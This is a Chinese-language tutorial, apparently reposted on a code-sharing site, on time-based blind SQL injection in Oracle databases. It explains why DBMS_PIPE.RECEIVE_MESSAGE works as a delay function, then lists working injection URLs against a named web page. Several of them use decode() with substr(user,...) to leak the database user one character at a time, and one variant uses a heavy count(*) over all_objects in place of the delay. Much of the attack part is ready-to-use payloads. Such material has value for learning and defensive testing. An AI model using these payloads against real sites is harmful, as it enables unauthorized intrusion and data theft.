Oracle基於延時的盲注總結


0x00 前言

oracle注入中可以通過頁面響應的狀態,這里指的是響應時間,通過這種方式判斷SQL是否被執行的方式,便是時間盲注;

 

oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用於其他數據庫。

 


 

0x01 DBMS_PIPE.RECEIVE_MESSAGE()函數延時盲注

DBMS_LOCK.SLEEP()函數可以讓一個過程休眠很多秒,但使用該函數存在許多限制

首先,不能直接將該函數注入子查詢中,因為Oracle不支持堆疊查詢(stacked query)。其次,只有數據庫管理員才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。

延遲盲注中的應用:

http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--

如果頁面延時10秒返回,即存在注入。

 

來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;
可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)
 
 
 

0x02 decode函數延時盲注

decode不僅可以在布爾盲注中運用,也可以用在延遲盲注中。

在decode注入里加入延時語句。這里加入了我們的dbms_pipe.receive_message函數。

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
 http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --

 

當然,這里延遲的操作不一定用延遲函數,也可以使用花費更多時間去查詢所有數據庫的條目。例如:

(select count(*) from all_objects) 

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

通過這種明顯時間差也能判斷注入表達式的結果。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM